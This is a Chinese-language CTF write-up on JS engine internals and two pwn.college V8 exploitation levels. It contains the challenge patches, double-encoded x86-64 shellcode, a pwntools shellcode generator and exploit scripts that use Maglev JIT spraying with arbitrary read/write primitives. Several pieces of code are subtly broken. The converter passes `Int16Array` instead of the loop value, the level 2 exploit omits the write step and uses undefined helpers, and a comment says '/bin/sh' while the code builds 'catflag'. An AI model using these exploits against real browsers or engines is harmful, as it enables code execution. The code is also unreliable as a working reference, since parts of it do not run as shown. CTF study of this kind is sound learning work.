JS引擎

前段时间看到pwn比赛中有考察到js引擎的题目,本人打算学习了解一下。主打一个广涉猎,在每个方向的深度方面可能还需要在后续的做题过程中积累。。。。

什么是”引擎”?

这里用引擎描述还是非常形象的,即将js代码“发动”起来(准确地给出代码运行结果的一段程序)的工具。我看到这段第一反应是:这不就是编译器吗?但是要注意,javascript是动态语言。对于动态语言来说,让其从源代码文件到可以跑起来的字节码的工具叫做解释器(Interpreter)

区别:

  • 编译器是将源代码编译为另外一种代码(比如机器码,或者字节码)
  • 解释器是直接解析并将代码运行结果输出。 比方说,firebug的console就是一个JavaScript的解释器。

解释型语言:程序不需要编译,程序在运行的过程中才用解释器编译成机器语言,边编译边执行,不会产生可执行的字节码文件

但是,现在很难去界定说,JavaScript引擎到底算是解释器还是编译器,因为,比如像V8(Chrome的JS引擎),它其实为了提高 JS的运行性能,在运行之前会先将JS编译为本地的机器码(native machine code),然后再去执行机器码(这样速度就快很多)

JIT(Just In Time Compilation):解决解释性语言的性能问题,主要思想是当解释器将源代码解释成内部表示的时候(类似于java字节码),JavaScript的执行环境不仅是解释这些内部表示,而且将其中一些字节码(使用率高的部分)转成本地代码(汇编代码),这样就可以被CPU直接执行,而不是解释执行,从而提高性能。

工作流水线:字节码 → 解释器执行 → 热点探测 → JIT 编译 → 本地代码缓存 → 后续直接跳转

引擎的组成

  • 编译器。主要工作是将源代码编译成抽象语法树,然后在某些引擎中还包含将抽象语法树转换成字节码
  • 解释器。在某些引擎中,解释器主要是接受字节码,解释执行这个字节码,然后也依赖回收机制等
  • JIT工具。一个能够JIT的工具,将字节码或者抽象语法树转换成本地代码
  • 垃圾回收器和分析工具(profiler)。它们负责垃圾回收和收集引擎中的信息,帮助改善引擎的性能和功效

题目形式

通常会在文件中给出特定的patch修改文件,同时给出已经运用该引擎的对应js引擎。作为攻击者,我们需要利用js代码利用patch的地方(通常存在漏洞)来达到提权的目的。创建exp.js,利用引擎解析该js文件,触发漏洞,提权/获得flag

pwncollege V8 exploitation

level 1

第一步确定题目patch的地方,patch文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index ea45a7ada6b..c840e568152 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -24,6 +24,8 @@
#include "src/objects/prototype.h"
#include "src/objects/smi.h"

+extern "C" void *mmap(void *, unsigned long, int, int, int, int);
+
namespace v8 {
namespace internal {

@@ -407,6 +409,47 @@ BUILTIN(ArrayPush) {
return *isolate->factory()->NewNumberFromUint((new_length));
}
// 这里声明新增加的java原生方法:array.run()
+BUILTIN(ArrayRun) {
+ HandleScope scope(isolate);
+ Factory *factory = isolate->factory();
+ Handle<Object> receiver = args.receiver();
+
+ if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+ factory->NewStringFromAsciiChecked("Nope")));
+ }
+
+ Handle<JSArray> array = Cast<JSArray>(receiver);
+ ElementsKind kind = array->GetElementsKind(); //获取数组元素
+
+ if (kind != PACKED_DOUBLE_ELEMENTS) {
+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+ factory->NewStringFromAsciiChecked("Need array of double numbers")));
+ }
+
+ uint32_t length = static_cast<uint32_t>(Object::NumberValue(array->length())); //获取长度
+ if (sizeof(double) * (uint64_t)length > 4096) {
+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+ factory->NewStringFromAsciiChecked("array too long")));
+ }
+
+ // mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+ double *mem = (double *)mmap(NULL, 4096, 7, 0x22, -1, 0);
+ if (mem == (double *)-1) {
+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+ factory->NewStringFromAsciiChecked("mmap failed")));
+ }
+
+ Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate);
+ FOR_WITH_HANDLE_SCOPE(isolate, uint32_t, i = 0, i, i < length, i++, {
+ double x = elements->get_scalar(i);
+ mem[i] = x;
+ });
+
+ ((void (*)())mem)();
+ return 0;
+}
+
namespace {

V8_WARN_UNUSED_RESULT Tagged<Object> GenericArrayPop(Isolate* isolate,


diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 48249695b7b..40a762c24c8 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -2533,6 +2533,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,

SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1,
true);
+ SimpleInstallFunction(isolate_, proto, "run",
+ Builtin::kArrayRun, 0, false);
SimpleInstallFunction(isolate_, proto, "concat",
Builtin::kArrayPrototypeConcat, 1, false);
SimpleInstallFunction(isolate_, proto, "copyWithin",

diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 78cbf8874ed..4f3d885cca7 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -421,6 +421,7 @@ namespace internal {
TFJ(ArrayPrototypePop, kDontAdaptArgumentsSentinel) \
/* ES6 #sec-array.prototype.push */ \
CPP(ArrayPush) \
+ CPP(ArrayRun) \
TFJ(ArrayPrototypePush, kDontAdaptArgumentsSentinel) \
/* ES6 #sec-array.prototype.shift */ \
CPP(ArrayShift)

V8 挂方法的“模板公式”

  1. builtins-definitions.h
    CPP(YourBuiltin)
  2. builtins-xxx.cc 写实现
    BUILTIN(YourBuiltin) { ... }
  3. bootstrapper.cc 挂原型
    SimpleInstallFunction(isolate_, proto, "js方法名", Builtin::kYourBuiltin, 参数个数, 是否adapt);

这段patch其实就是为v8引擎新增了一个识别array.run()方法的功能,对应实现ArrayRun本质上申请一片rwx内存,将array内存的double类型值依次存入,其中会检查类型是否为double以及长度限制。然后直接跳到内存开始处执行。非常简单粗暴,思路也很简单,直接借助强大的python写double类型的shellcode,然后在js文件run对应的double类型的array,即可执行任意代码。

这里存在一点需要注意的,在执行这段shellcode时, RUID!=EUID==root。

这里如果直接execve(‘/bin/sh’)的话,在某些安全配置下,如果检测到其实时RUID != EUID(例如,从setuid程序启动),会主动丢弃特权,将EUID重置为RUID,这是一种安全保护。在题目环境下会导致权限丢失。那么稳妥的方法是直接执行能够得到flag的文件,刚好题目给了一个catflag文件,非常巧的是(其实是故意设计的):catflag的关联组与EUID相同,那么直接执行即可。

Exp.js

1
2
3
4
5
6
7
8
9
var shellcode = [
2.6774523096502052e+156,
7.811264351351817e-304,
5.9243877051804356e+169,
8.19170178617048e-79,
2.8157102738592843e+79,
1.5438141419276312e-307,
4.19309166e-316
];

level 2

依旧先看patch文件:

patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index facf0d86d79..6b31fe2c371 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -1283,6 +1283,64 @@ struct ModuleResolutionData {

} // namespace

+void Shell::GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {
+ v8::Isolate* isolate = info.GetIsolate();
+
+ if (info.Length() == 0) {
+ isolate->ThrowError("First argument must be provided");
+ return;
+ }
+
+ internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
+ if (!IsHeapObject(*arg)) {
+ isolate->ThrowError("First argument must be a HeapObject");
+ return;
+ }
+ internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg);
+
+ uint32_t address = static_cast<uint32_t>(obj->address());
+ info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));
+}
+
+void Shell::ArbRead32(const v8::FunctionCallbackInfo<v8::Value>& info) {
+ Isolate *isolate = info.GetIsolate();
+ if (info.Length() != 1) {
+ isolate->ThrowError("Need exactly one argument");
+ return;
+ }
+ internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
+ if (!IsNumber(*arg)) {
+ isolate->ThrowError("Argument should be a number");
+ return;
+ }
+ internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
+ internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
+ uint32_t addr = static_cast<uint32_t>(internal::Object::NumberValue(*arg));
+ uint64_t full_addr = base_addr + (uint64_t)addr;
+ uint32_t result = *(uint32_t *)full_addr;
+ info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, result));
+}
+
+void Shell::ArbWrite32(const v8::FunctionCallbackInfo<v8::Value>& info) {
+ Isolate *isolate = info.GetIsolate();
+ if (info.Length() != 2) {
+ isolate->ThrowError("Need exactly 2 arguments");
+ return;
+ }
+ internal::Handle<internal::Object> arg1 = Utils::OpenHandle(*info[0]);
+ internal::Handle<internal::Object> arg2 = Utils::OpenHandle(*info[1]);
+ if (!IsNumber(*arg1) || !IsNumber(*arg2)) {
+ isolate->ThrowError("Arguments should be numbers");
+ return;
+ }
+ internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
+ internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
+ uint32_t addr = static_cast<uint32_t>(internal::Object::NumberValue(*arg1));
+ uint32_t value = static_cast<uint32_t>(internal::Object::NumberValue(*arg2));
+ uint64_t full_addr = base_addr + (uint64_t)addr;
+ *(uint32_t *)full_addr = value;
+}
+
void Shell::ModuleResolutionSuccessCallback(
const FunctionCallbackInfo<Value>& info) {
DCHECK(i::ValidateCallbackInfo(info));
@@ -3364,7 +3422,13 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(

Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
- global_template->Set(Symbol::GetToStringTag(isolate),
+ global_template->Set(isolate, "GetAddressOf",
+ FunctionTemplate::New(isolate, GetAddressOf));
+ global_template->Set(isolate, "ArbRead32",
+ FunctionTemplate::New(isolate, ArbRead32));
+ global_template->Set(isolate, "ArbWrite32",
+ FunctionTemplate::New(isolate, ArbWrite32));
+/* global_template->Set(Symbol::GetToStringTag(isolate),
String::NewFromUtf8Literal(isolate, "global"));
global_template->Set(isolate, "version",
FunctionTemplate::New(isolate, Version));
@@ -3385,13 +3449,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
global_template->Set(isolate, "readline",
FunctionTemplate::New(isolate, ReadLine));
global_template->Set(isolate, "load",
- FunctionTemplate::New(isolate, ExecuteFile));
+ FunctionTemplate::New(isolate, ExecuteFile));*/
global_template->Set(isolate, "setTimeout",
FunctionTemplate::New(isolate, SetTimeout));
// Some Emscripten-generated code tries to call 'quit', which in turn would
// call C's exit(). This would lead to memory leaks, because there is no way
// we can terminate cleanly then, so we need a way to hide 'quit'.
- if (!options.omit_quit) {
+/* if (!options.omit_quit) {
global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
}
global_template->Set(isolate, "testRunner",
@@ -3410,7 +3474,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
if (i::v8_flags.expose_async_hooks) {
global_template->Set(isolate, "async_hooks",
Shell::CreateAsyncHookTemplate(isolate));
- }
+ }*/

return global_template;
}
diff --git a/src/d8/d8.h b/src/d8/d8.h
index a19d4a0eae4..476675a7150 100644
--- a/src/d8/d8.h
+++ b/src/d8/d8.h
@@ -507,6 +507,9 @@ class Shell : public i::AllStatic {
};
enum class CodeType { kFileName, kString, kFunction, kInvalid, kNone };

+ static void GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& args);
+ static void ArbRead32(const v8::FunctionCallbackInfo<v8::Value>& args);
+ static void ArbWrite32(const v8::FunctionCallbackInfo<v8::Value>& args);
static bool ExecuteString(Isolate* isolate, Local<String> source,
Local<String> name,
ReportExceptions report_exceptions,

看懂上面代码需要了解一些关键的v8引擎原理:

  • 将C++函数暴露给JavaScript(一种方式):global_template->Set(isolate, "ArbWrite32",FunctionTemplate::New(isolate, ArbWrite32));实现JS 名称到 C++ 函数的映射,同时对应函数的实现参数与返回需要调用v8对应的api

  • v8::Isolate* isolate = info.GetIsolate();从参数中的v8回调对象中得到isolate(V8 的沙箱和资源管理单元),作为所有 V8 操作的核心上下文和资源容器

  • 指针压缩技术: V8 启用了指针压缩(Pointer Compression)机制。该机制下,堆对象的地址并不是完整的 64 位地址,而是相对于 cage base 的 32 位偏移量,然后再将32位压缩基址转换为64位完整地址。需要用

    internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();

    internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);来获得V8堆在进程地址空间中的起始地址(64位值)

实现的功能其实就是核心的两大原语:任意地址读➕任意地址写,以及一个获得对象在进程中的地址

假若在一个c语言写的程序中,我拿到这三个功能那么getshell的思路也就很多了。但是这是js程序中的功能,还没有那么直接简单。首先在题目的v8版本下,MAGLEV compilation机制会为多次重复的函数分配一段具有rwx的区域(并不是所有v8版本都是这样)。

1
2
3
4
5
// 触发了MAGLEV的行为:
1. 分配RWX内存页(为了性能,避免权限切换)
2. 生成机器代码直接写入RWX页
3. 将常量数据(包括浮点数)**内联嵌入**到代码中
4. 立即执行,无需mprotect()调用

那么基本思路就是在函数中嵌入getshell(以常量数据形式出现)的payload,在exp.js中反复调用对应函数使对应函数,使函数对应的机器码被分配到rwx的区域中。修改指针指向shellcode。

1.如何获得shellcode地址?

在js中,函数对象的地址并不是直接指向机器码,而是一个结构体。想要获得函数真实对应的机器码需要三级跳转:函数对象 → CodeDataContainer → instruction_start(常量的地址)

其中每一层跳转都需要找到相应的偏移(后者是前者的结构体成员)。

2.如何劫持程序流?

既然已经知道intruction_start指向函数机器码的开始,理所当然的劫持code结构体中的instruction_start成员为shellcode地址就可以执行shellcode了

3.怎么存shellcode?

一般选择 Float64数组(双精度浮点数)

  • 8字节对齐:正好是x64指令的自然大小

  • IEEE 754标准:精确的二进制表示

  • MAGLEV友好:浮点常量常被嵌入代码段

  • 无类型混淆:纯浮点数,V8优化简单

不过需要注意由于浮点数是八字节的表示形式 ,去掉前面两个字节的操作剩下的六个字节就是我们可控的内容 ,然后为了能写成rop的形式,所以6个字节里要已jmp结尾,用来跳到下一个gadget片段,所以我们每一个gadget可以写四字节的内容+一个jmp

Shellcode_generator:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context(arch='amd64', os='linux')

jmp = b"\xeb\x0c" #jump rip+0xc
shell_str = 0x67616c66746163 #catflag

def make_double(code):
assert len(code) <= 6
print(hex(u64(code.ljust(6,b"\x90")+jmp))[2:]) #前两字节是0x90(不可控字节)

#execve("/bin/sh", NULL, NULL)
make_double(asm("mov eax, 0x67616c"))
make_double(asm("mov ebx, 0x66746163"))
make_double(asm("shl rax,0x20"))#左移32位,eax内数值作为高32位
make_double(asm("add rax,rbx;push rax;"))#ebx内容作为低32位
make_double(asm("mov rdi, rsp;xor esi, esi;"))
code = asm("xor edx,edx;push 0x3b;pop rax;syscall")
assert len(code) <= 8
print(hex(u64(code.ljust(8, b'\x90')))[2:])

js_tranlater:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function convert(){
const shellcode=[0xceb900067616cb8n,
0xceb9066746163bbn,
0xceb909020e0c148n,
0xceb909050d80148n,
0xceb90f631e78948n,
0x90050f583b6ad231n
];
const floatshellcode=[];
const buffer=new ArrayBuffer(8);
const dataview=new DataView(buffer);
for (const i of shellcode){
dataview.setBigUint64(0,Int16Array,true);
const float=dataview.getFloat64(0,true);
floatshellcode.push(float);
}
return floatshellcode;
}

const shellcode=convert();
console.log("const shellcode = () => {return [");
shellcode.forEach((num, index) => {
console.log(` ${num}${index < shellcode.length - 1 ? ',' : ''}`);
});
console.log("];}");

Exp.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function shellcode(){
return [
1.97102559442867765997e-246,
1.97113694948983498454e-246,
1.97118242283720987770e-246,
1.97118262728646853415e-246,
1.97129379506143829454e-246,
-1.69562758796691328788e-231
];
}

function debug(str,val){
console.log("[+] "+ str + ": " + "0x" + hex(val));
}

for (let i=0;i<10000;i++)
shellcode(); //触发MAGLEV

let shellcode_addr=GetAddressOf(shellcode);
debug("function address:",shellcode_addr);
let code_addr = unptr(ArbRead32(shellcode_addr + 0xc));
debug("code address:",code_addr);
let instruction_start_addr = code_addr + 0x14;
let shellcode_start = ArbRead32(instruction_start_addr)+0x6b;
debug("instruction_start address: ",instruction_start_addr);
debug("shellcode_start with:",shellcode_start);
shellcode();